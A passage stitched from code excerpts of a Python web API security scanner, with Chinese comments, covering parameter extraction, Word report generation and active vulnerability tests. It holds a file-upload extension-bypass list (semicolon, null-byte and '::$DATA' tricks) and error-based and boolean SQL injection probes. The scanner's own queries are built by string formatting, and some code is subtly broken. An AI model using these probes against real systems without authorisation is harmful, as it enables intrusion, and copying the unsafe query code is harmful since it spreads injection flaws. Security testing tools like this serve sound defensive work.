                    "{result_post}", replace_str_post[:-2])
                projectDBPath = DatabaseType(
                    self.projectTag).getPathfromDB() + self.projectTag + ".db"
                connect = sqlite3.connect(os.sep.join(
                    projectDBPath.split('/')))
                cursor = connect.cursor()
                connect.isolation_level = None
                sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                    templates_post_str, result_id)
                cursor.execute(sql)

        l = 0
        m = 1
        for i in range(int((len(whole_str[1].split('§§§')) - 1) / 2)):
            result_id = whole_str[1].split('§§§')[m]
            try:
                result_get = FuzzerParam(self.projectTag).result_method_1(
                    whole_str[1].split('§§§')[l])
                self.log.debug("result_method_1正常")
            except Exception as e:
                self.log.error("[Err] %s" % e)
            l = l + 2
            m = m + 2
            if result_get[0]:
                replace_str_get = ""
                for c in range(len(result_get[0])):
                    if "\"" not in result_get[1][c]:
                        default_value = FuzzerParam(
                            self.projectTag).creatAlpha(3)
                    else:
                        default_value = result_get[1][c]
                        default_value = default_value.replace("\"", "")
                        for default_judge in self.default_judges.split(","):
                            if default_judge in default_value:
                                flag = 1
                                break
                            else:
                                flag = 0
                        if flag:
                            default_value = FuzzerParam(
                                self.projectTag).creatNum(3)
                    str = "\t{\n\t\t\"name\":\"" + result_get[0][
                        c] + "\",\n" + "\t\t\"default\":\"" + default_value + "\"\n\t}\n\t,\n"
                    replace_str_get = replace_str_get + str
                projectDBPath = DatabaseType(
                    self.projectTag).getPathfromDB() + self.projectTag + ".db"
                connect = sqlite3.connect(os.sep.join(
                    projectDBPath.split('/')))
                cursor = connect.cursor()
                connect.isolation_level = None
                sql = "select option from api_tree where id='%s'" % (result_id)
                cursor.execute(sql)
                options = cursor.fetchall()
                for option in options:
                    if option[0]:
                        templates_get_str = option[0]
                        templates_get_str = templates_get_str.replace(
                            "{result_get}", replace_str_get[:-2])
                        sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                            templates_get_str, result_id)
                    else:
                        templates_get_str = """
        {
            "type": "get",
            "post": [

            ],
            "get": [
{result_get}
            ]
        }"""
                        templates_get_str = templates_get_str.replace(
                            "{result_get}", replace_str_get[:-2])
                        sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                            templates_get_str, result_id)
                    cursor.execute(sql)
                else:
                    for option in options:
                        if option[0]:
                            templates_get_str = option[0]
                            templates_get_str = templates_get_str.replace(
                                "{result_get}", "")
                            sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                                templates_get_str, result_id)
                    cursor.execute(sql)

        projectDBPath = DatabaseType(
            self.projectTag).getPathfromDB() + self.projectTag + ".db"
        connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
        cursor = connect.cursor()
        connect.isolation_level = None
        sql = "select * from api_tree where success = 1 or success = 2"
        cursor.execute(sql)
        api_list = cursor.fetchall()
        templates_post_new_str = """
{
    "type": "post",
    "post": [

    ],
    "get": [

    ]
}
"""
        for api in api_list:
            if api[3]:
                option = api[3]
                option = option.replace("{result_get}", "")
                sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                    option, api[0])
                cursor.execute(sql)
            else:
                sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                    templates_post_new_str, api[0])
                cursor.execute(sql)

        sql = "select * from api_tree where success = 1 or success = 2"
        cursor.execute(sql)
        api_list = cursor.fetchall()
        sql = "select * from api_tree where option='%s'" % (
            templates_post_new_str)
        cursor.execute(sql)
        #总共需要暴力提取的数量,可以用这快做进度条
        num_vio = cursor.fetchall()
        # print(len(num_vio))
        num = len(num_vio)

        for n in trange(num):
            time.sleep(1)

        a = 0
        for api in api_list:
            option = api[3]
            if option == templates_post_new_str:
                a = a + 1
                templates_post_str = """
        {
            "type": "post",
            "post": [
{result_post}
            ],
            "get": [
{result_get}
            ]
        }"""
                whole_str = FuzzerParam(self.projectTag).collect_api_str()
                j = 0
                k = 1
                for i in range(int((len(whole_str[0].split('§§§')) - 1) / 2)):
                    result_id = int(whole_str[0].split('§§§')[k])
                    try:
                        result_post = FuzzerParam(
                            self.projectTag).violent_method(
                                whole_str[0].split('§§§')[j])
                        self.log.debug("暴力提取模块正常——post")
                    except Exception as e:
                        self.log.error("[Err] %s" % e)
                    j = j + 2
                    k = k + 2
                    if result_id == int(api[0]):
                        if result_post[0]:
                            replace_str_post = ""
                            for j in range(len(result_post[0])):
                                default_value = result_post[1][j]
                                str = "\t{\n\t\t\"name\":\"" + result_post[0][
                                    j] + "\",\n" + "\t\t\"default\":\"" + default_value + "\"\n\t}\n\t,\n"
                                replace_str_post = replace_str_post + str
                            templates_post_str = templates_post_str.replace(
                                "{result_post}", replace_str_post[:-2])
                            projectDBPath = DatabaseType(
                                self.projectTag).getPathfromDB(
                                ) + self.projectTag + ".db"
                            connect = sqlite3.connect(
                                os.sep.join(projectDBPath.split('/')))
                            cursor = connect.cursor()
                            connect.isolation_level = None
                            sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                                templates_post_str, result_id)
                            cursor.execute(sql)
                        break
                l = 0
                m = 1
                for i in range(int((len(whole_str[1].split('§§§')) - 1) / 2)):
                    result_id = int(whole_str[1].split('§§§')[m])
                    try:
                        result_get = FuzzerParam(
                            self.projectTag).violent_method(
                                whole_str[1].split('§§§')[l])
                        self.log.debug("暴力提取模块正常——get")
                    except Exception as e:
                        self.log.error("[Err] %s" % e)
                    l = l + 2
                    m = m + 2
                    if result_id == int(api[0]):
                        if result_get[0]:
                            replace_str_get = ""
                            for j in range(len(result_get[0])):
                                default_value = result_get[1][j]
                                str = "\t{\n\t\t\"name\":\"" + result_get[0][
                                    j] + "\",\n" + "\t\t\"default\":\"" + default_value + "\"\n\t}\n\t,\n"
                                replace_str_get = replace_str_get + str
                            projectDBPath = DatabaseType(
                                self.projectTag).getPathfromDB(
                                ) + self.projectTag + ".db"
                            connect = sqlite3.connect(
                                os.sep.join(projectDBPath.split('/')))
                            cursor = connect.cursor()
                            connect.isolation_level = None
                            sql = "select option from api_tree where id='%s'" % (
                                result_id)
                            cursor.execute(sql)
                            options = cursor.fetchall()
                            for option in options:
                                new_str = json.loads(option[0].replace(
                                    "{result_get}", "").replace("\'", "\""))
                                if new_str["post"]:
                                    templates_get_str = option[0]
                                    templates_get_str = templates_get_str.replace(
                                        "{result_get}", replace_str_get[:-2])
                                    sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                                        templates_get_str, result_id)
                                else:
                                    templates_get_str = """
    {
        "type": "get",
        "post": [

        ],
        "get": [
{result_get}
        ]
    }"""
                                    templates_get_str = templates_get_str.replace(
                                        "{result_get}", replace_str_get[:-2])
                                    sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                                        templates_get_str, result_id)
                                cursor.execute(sql)
                        else:
                            for option in options:
                                new_str = json.loads(option[0].replace(
                                    "{result_get}", "").replace("\'", "\""))
                                sql = "UPDATE api_tree set option='%s' where id='%s'" % (
                                    new_str, result_id)
                                cursor.execute(sql)

                        break

        projectDBPath = DatabaseType(
            self.projectTag).getPathfromDB() + self.projectTag + ".db"
        connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
        cursor = connect.cursor()
        connect.isolation_level = None
        sql = "select * from api_tree where success = 1 or success = 2"
        cursor.execute(sql)
        api_list = cursor.fetchall()
        for api in api_list:
            option = api[3]
            option = option.replace("{result_get}",
                                    "").replace("{result_post}", "")
            sql = "UPDATE api_tree set option='%s' where id='%s'" % (option,
                                                                     api[0])
            cursor.execute(sql)
    def startTest(self, path):

        if self.options.cookie != None:
            self.header = {
                'User-Agent': random.choice(self.UserAgent),
                'Content-Type': 'application/x-www-form-urlencoded',
                'Accept':
                'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Cookie': self.options.cookie,
                self.options.head.split(':')[0]:
                self.options.head.split(':')[1]
            }
        else:
            self.header = {
                'User-Agent': random.choice(self.UserAgent),
                'Content-Type': 'application/x-www-form-urlencoded',
                'Accept':
                'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                self.options.head.split(':')[0]:
                self.options.head.split(':')[1]
            }

        data = "".join(str(time.time()).split("."))
        #print(data)
        rands = bytes().fromhex(data)

        ext_fuzz = tqdm([
            'asp;.jpg', 'asp.jpg', 'asp;jpg', 'asp/1.jpg', 'asp{}.jpg'.format(
                quote('%00')), 'asp .jpg', 'asp_.jpg', 'asa', 'cer', 'cdx',
            'ashx', 'asmx', 'xml', 'htr', 'asax', 'asaspp', 'asp;+2.jpg',
            'asp;.jpg', 'asp.jpg', 'asp;jpg', 'asp/1.jpg', 'asp{}.jpg'.format(
                quote('%00')), 'asp .jpg', 'asp_.jpg', 'asa', 'cer', 'cdx',
            'ashx', 'asmx', 'xml', 'htr', 'asax', 'asaspp', 'asp;+2.jpg',
            'asPx', 'aspx .jpg', 'aspx_.jpg', 'aspx;+2.jpg', 'asaspxpx',
            'php1', 'php2', 'php3', 'php4', 'php5', 'pHp', 'php .jpg',
            'php_.jpg', 'php.jpg', 'php.  .jpg', 'jpg/.php', 'php.123',
            'jpg/php', 'jpg/1.php', 'jpg{}.php'.format(quote('%00')),
            'php{}.jpg'.format(quote('%00')), 'php:1.jpg', 'php::$DATA',
            'php::$DATA......', 'ph\np', '.jsp.jpg.jsp', 'jspa', 'jsps',
            'jspx', 'jspf', 'jsp .jpg', 'jsp_.jpg'
        ])
        flag = 0
        try:
            # python3 随机生成字符串
            sslFlag = int(self.options.ssl_flag)
            for ext in ext_fuzz:
                # 进度条
                ext_fuzz.set_description("Processing %s" % ext)
                files = {
                    "file":
                    ("{}.{}".format(random.randint(1, 100), ext),
                     (b"\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\xD7"
                      + rands))
                }
                if sslFlag == 1:
                    resp = requests.post(path,
                                         files=files,
                                         headers=self.header,
                                         proxies=self.proxy_data,
                                         verify=False)
                else:
                    resp = requests.post(path,
                                         files=files,
                                         headers=self.header,
                                         proxies=self.proxy_data)
                # 如果上传失败了就继续上传
                # 全部走一遍报错
                for fail in str(self.upload_fail).split(","):
                    # 如果返回的信息有失败的
                    if fail in resp.text:
                        flag = 1
                if flag == 0:
                    for success in str(self.upload_success).split(","):

                        if success in resp.text:
                            #print("文件上传成功")
                            req_body = resp.request.body
                            resp_text = resp.text
                            # 写入数据库
                            #print(req_body)
                            #print(resp_text)
                            projectDBPath = DatabaseType(
                                self.projectTag).getPathfromDB(
                                ) + self.projectTag + ".db"
                            connect = sqlite3.connect(
                                os.sep.join(projectDBPath.split('/')))
                            cursor = connect.cursor()
                            connect.isolation_level = None
                            sql = "select id,from_js from api_tree where path=\"" + path + "\""
                            cursor.execute(sql)
                            apiTreeInfo = cursor.fetchall()
                            if len(apiTreeInfo) != 0:
                                #print(apiTreeInfo)
                                try:
                                    api_id = int(
                                        apiTreeInfo[0][0])  # 对应路径的api_id
                                    from_js = int(
                                        apiTreeInfo[0][1])  # 对应路径的from_js
                                    # 数据库连接
                                    DatabaseType(self.projectTag
                                                 ).insertUploadInfoIntoDB(
                                                     api_id, from_js,
                                                     quote(req_body),
                                                     resp_text)
                                except Exception as e:
                                    self.log.error("[Err] %s" % e)
                                raise getoutofloop()
        except getoutofloop:
            pass
Exemple #25
0
 def parseStart(self):
     projectTag = logs
     if self.options.silent != None:
         print("[TAG]" + projectTag)
     DatabaseType(projectTag).createDatabase()
     ParseJs(projectTag, self.url, self.options).parseJsStart()
     path_log = os.path.abspath(log_name)
     path_db = os.path.abspath(
         DatabaseType(projectTag).getPathfromDB() + projectTag + ".db")
     creatLog().get_logger().info("[!] " + Utils().getMyWord("{db_path}") +
                                  path_db)  #显示数据库文件路径
     creatLog().get_logger().info("[!] " + Utils().getMyWord("{log_path}") +
                                  path_log)  #显示log文件路径
     checkResult = CheckPacker(projectTag, self.url,
                               self.options).checkStart()
     if checkResult == 1 or checkResult == 777:  #打包器检测模块
         if checkResult != 777:  #确保检测报错也能运行
             creatLog().get_logger().info(
                 "[!] " + Utils().getMyWord("{check_pack_s}"))
         RecoverSpilt(projectTag, self.options).recoverStart()
     else:
         creatLog().get_logger().info("[!] " +
                                      Utils().getMyWord("{check_pack_f}"))
     Apicollect(projectTag, self.options).apireCoverStart()
     apis = DatabaseType(projectTag).apiPathFromDB()  # 从数据库中提取出来的api
     self.codes = ApiResponse(apis, self.options).run()
     DatabaseType(projectTag).insertResultFrom(self.codes)
     getPaths = DatabaseType(projectTag).sucesssPathFromDB()  # 获取get请求的path
     getTexts = ApiText(getPaths, self.options).run()  # 对get请求进行一个获取返回包
     postMethod = DatabaseType(
         projectTag).wrongMethodFromDB()  # 获取post请求的path
     if len(postMethod) != 0:
         postText = PostApiText(postMethod, self.options).run()
         DatabaseType(projectTag).insertTextFromDB(postText)
     DatabaseType(projectTag).insertTextFromDB(getTexts)
     if self.options.type == "adv":
         creatLog().get_logger().info("[!] " +
                                      Utils().getMyWord("{adv_start}"))
         creatLog().get_logger().info(Utils().tellTime() +
                                      Utils().getMyWord("{beauty_js}"))
         BeautyJs(projectTag).rewrite_js()
         creatLog().get_logger().info(Utils().tellTime() +
                                      Utils().getMyWord("{fuzzer_param}"))
         FuzzerParam(projectTag).FuzzerCollect()
     creatLog().get_logger().info(Utils().tellTime() +
                                  Utils().getMyWord("{response_end}"))
     vulnTest(projectTag, self.options).testStart(self.url)
     if self.options.type == "adv":
         vulnTest(projectTag, self.options).advtestStart(self.options)
     if self.options.ext == "on":
         creatLog().get_logger().info("[+] " +
                                      Utils().getMyWord("{ext_start}"))
         loadExtensions(projectTag, self.options).runExt()
         creatLog().get_logger().info("[-] " +
                                      Utils().getMyWord("{ext_end}"))
     vuln_num = Docx_replace(projectTag).vuln_judge()
     co_vuln_num = vuln_num[1] + vuln_num[2] + vuln_num[3]
     creatLog().get_logger().info(
         "[!] " + Utils().getMyWord("{co_discovery}") + str(co_vuln_num) +
         Utils().getMyWord("{effective_vuln}") + ": " +
         Utils().getMyWord("{r_l_h}") + str(vuln_num[1]) +
         Utils().getMyWord("{ge}") + ", " + Utils().getMyWord("{r_l_m}") +
         str(vuln_num[2]) + Utils().getMyWord("{ge}") + ", " +
         Utils().getMyWord("{r_l_l}") + str(vuln_num[3]) +
         Utils().getMyWord("{ge}"))
     CreateReport(projectTag).create_repoter()
     creatLog().get_logger().info("[-] " + Utils().getMyWord("{all_end}"))
Exemple #26
0
 def creat_api(self, document):
     para1 = Creat_api(self.projectTag).locat_api(document)
     projectDBPath = DatabaseType(
         self.projectTag).getPathfromDB() + self.projectTag + ".db"
     connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
     cursor = connect.cursor()
     connect.isolation_level = None
     sql = "select * from api_tree"
     cursor.execute(sql)
     api_infos = cursor.fetchall()
     for api_info in api_infos:
         if api_info[5] == 1 or api_info[5] == 2:
             para2 = para1.insert_paragraph_before("")
             api_path = api_info[1]
             sql = "select path from js_file where id='%s'" % (api_info[6])
             cursor.execute(sql)
             js_paths = cursor.fetchall()
             for js_path in js_paths:
                 run2 = para2.add_run(Utils().getMyWord("{r_api_addr}") +
                                      "\n")
                 run2.font.name = "Arial"
                 run2.font.size = Pt(11)
                 run2.font.bold = True
                 run3 = para2.add_run(api_path)
                 run3.font.name = "Arial"
                 run3.font.size = Pt(11)
                 run4 = para2.add_run("\n" +
                                      Utils().getMyWord("{r_api_r_js}") +
                                      "\n")
                 run4.font.name = "Arial"
                 run4.font.size = Pt(11)
                 run4.font.bold = True
                 run5 = para2.add_run(js_path[0])
                 run5.font.name = "Arial"
                 run5.font.size = Pt(11)
                 run6 = para2.add_run("\n" +
                                      Utils().getMyWord("{r_api_res}") + "")
                 run6.font.name = "Arial"
                 run6.font.size = Pt(11)
                 run6.font.bold = True
                 try:
                     if api_info[4] == None:
                         api_info1 = "\" \""
                         api_info_unicode = json.dumps(
                             json.loads(api_info1),
                             sort_keys=True,
                             indent=4,
                             ensure_ascii=False)
                         Creat_api(self.projectTag).creat_table(
                             document, api_info_unicode, para2)
                     else:
                         api_info_unicode = json.dumps(json.loads(
                             api_info[4]),
                                                       sort_keys=True,
                                                       indent=4,
                                                       ensure_ascii=False)
                         Creat_api(self.projectTag).creat_table(
                             document, api_info_unicode, para2)
                     self.log.debug("api_info正常")
                 except Exception as e:
                     if api_info[4] == None:
                         api_info1 = "\" \""
                         Creat_api(self.projectTag).creat_table(
                             document, api_info1, para2)
                     else:
                         Creat_api(self.projectTag).creat_table(
                             document, api_info[4], para2)
                     self.log.error("[Err] %s" % e)
Exemple #27
0
    def docxReplace(self, document):
        cmd = CommandLines().cmd()
        ipAddr = testProxy(cmd,0)
        end_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
        report_time = time.strftime("%Y-%m-%d %H:%M", time.localtime())
        main_url = DatabaseType(self.projectTag).getURLfromDB()
        parse_url = urlparse(main_url)
        host = parse_url.netloc
        projectDBPath = DatabaseType(self.projectTag).getPathfromDB() + self.projectTag + ".db"
        connect = sqlite3.connect(os.sep.join(projectDBPath.split('/')))
        cursor = connect.cursor()
        connect.isolation_level = None
        sql = "select id from js_file"
        cursor.execute(sql)
        js_all_files = cursor.fetchall()
        js_num = len(js_all_files)
        sql = "select path from js_file"
        cursor.execute(sql)
        jsfilelist = cursor.fetchall()
        js_paths=''
        for js in jsfilelist:
            jspath = "◆ " + js[0] + "\n"
            js_paths = js_paths + jspath
        sql ="select id from api_tree where success = 1 or success = 2"
        cursor.execute(sql)
        api_list = cursor.fetchall()
        api_num = len(api_list)
        vuln_infos = Docx_replace(self.projectTag).vuln_judge()
        vuln_h_num = vuln_infos[1]
        vuln_m_num = vuln_infos[2]
        vuln_l_num = vuln_infos[3]
        vuln_num = vuln_h_num + vuln_m_num + vuln_l_num
        vuln_score = vuln_infos[0]
        if vuln_score >= 18:
            sec_lv = Utils().getMyWord("{risk_h}")
        elif vuln_score < 18 and vuln_score >= 10:
            sec_lv = Utils().getMyWord("{risk_m}")
        elif vuln_score < 10 and vuln_score >= 5:
            sec_lv = Utils().getMyWord("{risk_l}")
        else:
            sec_lv = Utils().getMyWord("{risk_n}")
        sql = "select vaule from info where name='time'"
        cursor.execute(sql)
        time_in_info = cursor.fetchone()
        timeArray = time.localtime(int(time_in_info[0]))
        start_time = time.strftime("%Y-%m-%d %H:%M:%S", timeArray)
        type = CommandLines().cmd().type
        if type == "simple":
            scan_type = Utils().getMyWord("{mode_simple}")
        else:
            scan_type = Utils().getMyWord("{mode_adv}")
        scan_min = int(end_time.split(":")[-2]) - int(start_time.split(":")[-2])
        if int(scan_min) >= 1:
            end_time_one = int(end_time.split(":")[-1]) + int(scan_min) * 60
            scan_time = int(end_time_one) - int(start_time.split(":")[-1])
        else:
            scan_time = int(end_time.split(":")[-1]) - int(start_time.split(":")[-1])
        vuln_list = ''
        sql = "select id from vuln where type='unAuth'"
        cursor.execute(sql)
        num_auth = cursor.fetchall()
        if len(num_auth) != 0:
            vuln_list =  vuln_list +  "◆ " + Utils().getMyWord("{vuln_unauth_num}") + str(len(num_auth)) + Utils().getMyWord("{ge}") + "\n"
        sql = "select id from vuln where type='CORS'"
        cursor.execute(sql)
        num_cors = cursor.fetchall()
        if len(num_cors) != 0:
            vuln_list = vuln_list + "◆ " +  Utils().getMyWord("{vuln_cors_num}") + str(len(num_cors)) + Utils().getMyWord("{ge}") + "\n"
        sql = "select id from vuln where type='INFO'"
        cursor.execute(sql)
        num_info = cursor.fetchall()
        if len(num_info) != 0:
            vuln_list = vuln_list +  "◆ " + Utils().getMyWord("{vuln_info_num}") + str(len(num_info)) + Utils().getMyWord("{ge}") + "\n"
        sql = "select id from vuln where type='passWord'"
        cursor.execute(sql)
        num_passWord = cursor.fetchall()
        if len(num_passWord) != 0:
            vuln_list = vuln_list + "◆ " + Utils().getMyWord("{vuln_passWord_num}") + str(len(num_passWord)) + Utils().getMyWord("{ge}") + "\n"
        sql = "select id from vuln where type='BAC'"
        cursor.execute(sql)
        num_BAC = cursor.fetchall()
        if len(num_BAC) != 0:
            vuln_list = vuln_list + "◆ " + Utils().getMyWord("{vuln_BAC_num}") + str(len(num_BAC)) + Utils().getMyWord("{ge}") + "\n"
        sql = "select id from vuln where type='upLoad'"
        cursor.execute(sql)
        num_upload = cursor.fetchall()
        if len(num_upload) != 0:
            vuln_list = vuln_list + "◆ " + Utils().getMyWord("{vuln_upload_num}") + str(
                len(num_upload)) + Utils().getMyWord(
                "{ge}") + "\n"
        sql = "select id from vuln where type='SQL'"
        cursor.execute(sql)
        num_sql = cursor.fetchall()
        if len(num_sql) != 0:
            vuln_list = vuln_list + "◆ " + Utils().getMyWord("{vuln_sql_num}") + str(
                len(num_sql)) + Utils().getMyWord(
                "{ge}") + "\n"
        cookies = CommandLines().cmd().cookie
        if cookies:
            extra_cookies = cookies
        else:
            extra_cookies = Utils().getMyWord("{no_extra_cookies}")
        head = CommandLines().cmd().head
        if head != "Cache-Control:no-cache":
             extra_head = head
        else:
             extra_head = Utils().getMyWord("{no_extra_head}")
        try:
            DICT = {
                "{report_number}": "PF-API-" + self.projectTag,
                "{report_date}": "%s" % (report_time),
                "{target_host}": "%s" % (host),
                "{target_url}": "%s" % (main_url),
                "{js_num}": "%s" % (js_num),
                "{start_time}": "%s" % (start_time),
                "{scan_time}" :"%s" % (scan_time),
                "{scan_type}": "%s" % (scan_type),
                "{api_num}": "%s" % (api_num),
                "{vuln_num}": "%s" % (vuln_num),
                "{vuln_h_num}": "%s" % (vuln_h_num),
                "{vuln_m_num}": "%s" % (vuln_m_num),
                "{vuln_l_num}": "%s" % (vuln_l_num),
                "{unauth_vuln}": "%s" % ("unauth_vuln"),
                "{vuln_list}": "%s" % (vuln_list),
                "{scan_ip}": "%s" % (ipAddr),
                "{extra_cookies}": "%s" % (extra_cookies),
                "{extra_head}": "%s" % (extra_head)
            }
            self.log.debug("word—report正常替换")
        except Exception as e:
            self.log.error("[Err] %s" % e)

        for table in document.tables:
            for row in range(len(table.rows)):
                for col in range(len(table.columns)):
                    for key, value in DICT.items():
                        if key in table.cell(row, col).text:
                            table.cell(row, col).text = table.cell(row, col).text.replace(key, value)

        for para in document.paragraphs:
            for i in range(len(para.runs)):
                for key, value in DICT.items():
                    if key in para.runs[i].text:
                        para.runs[i].text = para.runs[i].text.replace(key, value)

        for para in document.paragraphs:
            for i in range(len(para.runs)):
                if "{js_list}" in para.runs[i].text:
                    para.runs[i].text = para.runs[i].text.replace("{js_list}", "%s" % (js_paths))
                    para.runs[i].font.size = Pt(10)
                    para.runs[i].font.name = "Arial"

        for para in document.paragraphs:
            for i in range(len(para.runs)):
                if "{end_time}" in para.runs[i].text:
                    para.runs[i].text = para.runs[i].text.replace("{end_time}", "%s" % (end_time))

        for para in document.paragraphs:
            for i in range(len(para.runs)):
                if "{sec_lv}" in para.runs[i].text:
                    para.runs[i].text = para.runs[i].text.replace("{sec_lv}", "%s" % (sec_lv))
                    para.runs[i].font.size = Pt(14)
                    if sec_lv == Utils().getMyWord("{risk_n}"):
                        para.runs[i].font.color.rgb = RGBColor(139,137,137)
                    elif sec_lv == Utils().getMyWord("{risk_l}"):
                        para.runs[i].font.color.rgb = RGBColor(46, 139,87)
                    elif sec_lv == Utils().getMyWord("{risk_m}"):
                        para.runs[i].font.color.rgb = RGBColor(205, 55, 0)
                    elif sec_lv == Utils().getMyWord("{risk_h}"):
                        para.runs[i].font.color.rgb = RGBColor(238, 0, 0)

        try:
            Creat_vuln_detail(self.projectTag).creat_detail(document)
            self.log.debug("正确获取vuln_detail替换内容")
        except Exception as e:
            self.log.error("[Err] %s" % e)
        try:
            Creat_api(self.projectTag).creat_api(document)
            self.log.debug("正确获取api替换内容")
        except Exception as e:
            self.log.error("[Err] %s" % e)
        try:
            Creat_suggest(self.projectTag).creat_suggest(document)
            self.log.debug("正确获取suggest替换内容")
        except Exception as e:
            self.log.error("[Err] %s" % e)

        return document
Exemple #28
0
    def errorSQLInjection(self):
        sslFlag = int(self.options.ssl_flag)
        # 有待改进
        errors = [
            "You have an error in your SQL syntax", "Oracle Text error",
            "Microsoft SQL Server"
        ]
        datas = json.loads(self.option)
        method = datas['type']
        # get的请求
        if method == "get":
            gets = datas["get"]
            get_datas = []
            # 对options中的参数进行遍历,然后再进行一个组合
            for get in gets:
                get_name = get["name"]
                # 如果参数是传入的参数 对default 进行处理
                if get_name == self.name:
                    # 加入两个引号促使报错
                    get_default = get['default'] + '\'"'
                else:
                    get_default = get["default"]
                get_datas.append(get_name + "=" + get_default)
            # url中加入单引号 导致报错
            url = self.path + "?" + "&".join(get_datas)
            # print(url)
            try:
                if sslFlag == 1:
                    get_resp = requests.get(url,
                                            headers=self.header,
                                            proxies=self.proxy_data,
                                            timeout=10,
                                            verify=False)
                else:
                    get_resp = requests.get(url,
                                            headers=self.header,
                                            proxies=self.proxy_data,
                                            timeout=10)
                get_resp_text = get_resp.text

                # 对错误进行一个遍历
                for error in errors:
                    errors.set_description("Processing %s" % error)

                    if error in get_resp_text:
                        #print("目标疑似存在SQL报错注入")
                        self.error = 1
                        try:
                            DatabaseType(self.projectTag).insertSQLInfoIntoDB(
                                self.api_id, self.from_js, quote(url),
                                quote(get_resp_text))
                        except Exception as e:
                            self.log.error("[Err] %s" % e)
            except Exception as e:
                self.log.error("[Err] %s" % e)

        if method == "post":
            post_json = {}
            posts = datas["post"]
            post_datas = []
            for post in posts:
                post_name = post["name"]
                if post_name == self.name:
                    post_default = post['default'] + '\'"'
                else:
                    post_default = post['default']
                post_datas.append(post_name + "=" + post_default)
                post_json[post_name] = post_default  # json 类型的数据
            post_data = "&".join(post_datas)
            # print(post_json)
            # print(post_data)
            try:
                if sslFlag == 1:
                    post_resp = requests.post(self.path,
                                              headers=self.header,
                                              data=post_data,
                                              proxies=self.proxy_data,
                                              timeout=10,
                                              verify=False)
                else:
                    post_resp = requests.post(self.path,
                                              headers=self.header,
                                              data=post_data,
                                              proxies=self.proxy_data,
                                              timeout=10)
                post_text = post_resp.text
                post_code = post_resp.status_code
                # json类型
                if post_code == '415':
                    if self.options.cookie != None:
                        header = {
                            'User-Agent':
                            random.choice(self.UserAgent),
                            'Content-Type':
                            'application/json',
                            'Accept':
                            'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            'Cookie':
                            self.options.cookie,
                            self.options.head.split(':')[0]:
                            self.options.head.split(':')[1]
                        }
                    else:
                        header = {
                            'User-Agent':
                            random.choice(self.UserAgent),
                            'Content-Type':
                            'application/json',
                            'Accept':
                            'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                            self.options.head.split(':')[0]:
                            self.options.head.split(':')[1]
                        }
                    try:
                        if sslFlag == 1:
                            post_json_resp = requests.post(
                                self.path,
                                data=post_json,
                                headers=header,
                                proxies=self.proxy_data,
                                timeout=10,
                                verify=False)
                        else:
                            post_json_resp = requests.post(
                                self.path,
                                data=post_json,
                                headers=header,
                                proxies=self.proxy_data,
                                timeout=10)
                        post_json_text = post_json_resp.text
                        post_json_code = post_json_resp.status_code
                        if post_json_code == '415':  # 如果状态码还是 415 就不管了 只负责json和普通的data
                            pass
                        else:
                            for error in errors:
                                if error in post_json_text:
                                    #print("疑似存在SQL注入")
                                    self.error = 1
                                    try:
                                        DatabaseType(self.projectTag
                                                     ).insertSQLInfoIntoDB(
                                                         self.api_id,
                                                         self.from_js,
                                                         post_json,
                                                         post_json_text)
                                    except Exception as e:
                                        self.log.error("[Err] %s" % e)
                    except Exception as e:
                        self.log.error("[Err] %s" % e)

                else:
                    for error in errors:
                        if error in post_text:
                            #print("疑似存在SQL注入")
                            self.error = 1
                            try:
                                DatabaseType(
                                    self.projectTag).insertSQLInfoIntoDB(
                                        self.api_id, self.from_js, post_data,
                                        post_text)
                            except Exception as e:
                                self.log.error("[Err] %s" % e)
            except Exception as e:
                self.log.error("[Err] %s" % e)
Exemple #29
0
    def boolenSQLInjection(self):
        sslFlag = int(self.options.ssl_flag)
        datas = json.loads(self.option)
        method = datas['type']
        # get的请求
        if method == "get":
            gets = tqdm(datas["get"])
            get_datas = []
            get_datas1 = []
            get_datas2 = []
            # 对options中的参数进行遍历,然后再进行一个组合
            for get in gets:
                # or 1=1 的 payload
                get_name = get["name"]
                # 如果参数是传入的参数 对default 进行处理
                if get_name == self.name:
                    # 加入两个引号促使报错
                    # 后续可以改成用户自定义
                    get_default = get['default'] + " and 1=1"
                else:
                    get_default = get["default"]
                get_datas.append(get_name + "=" + get_default)

                # or 1=2 的 payload
                get_name1 = get["name"]
                # 如果参数是传入的参数 对default 进行处理
                if get_name1 == self.name:
                    # 加入两个引号促使报错
                    get_default1 = get['default'] + " and 1=2"
                else:
                    get_default1 = get["default"]
                get_datas1.append(get_name1 + "=" + get_default1)

                # 默认 的 payload
                get_name2 = get["name"]
                # 如果参数是传入的参数 对default 进行处理
                if get_name2 == self.name:
                    # 加入两个引号促使报错
                    get_default2 = get['default']
                else:
                    get_default2 = get["default"]
                get_datas2.append(get_name2 + "=" + get_default2)

            # url中加入单引号 导致报错
            url1 = self.path + "?" + "&".join(get_datas)
            url2 = self.path + "?" + "&".join(get_datas1)
            url_default = self.path + "?" + "&".join(get_datas2)
            # print(url1)  # or 1=1
            # print(url2)  # or 1=2
            # print(url_default)  # default

            # 发送三个get 请求
            try:
                if sslFlag == 1:
                    get_resp1 = requests.get(url1,
                                             headers=self.header,
                                             proxies=self.proxy_data,
                                             timeout=10,
                                             verify=False)
                    get_resp2 = requests.get(url2,
                                             headers=self.header,
                                             proxies=self.proxy_data,
                                             timeout=10,
                                             verify=False)
                    get_resp_default = requests.get(url_default,
                                                    headers=self.header,
                                                    proxies=self.proxy_data,
                                                    timeout=10,
                                                    verify=False)
                else:
                    get_resp1 = requests.get(url1,
                                             headers=self.header,
                                             proxies=self.proxy_data,
                                             timeout=10)
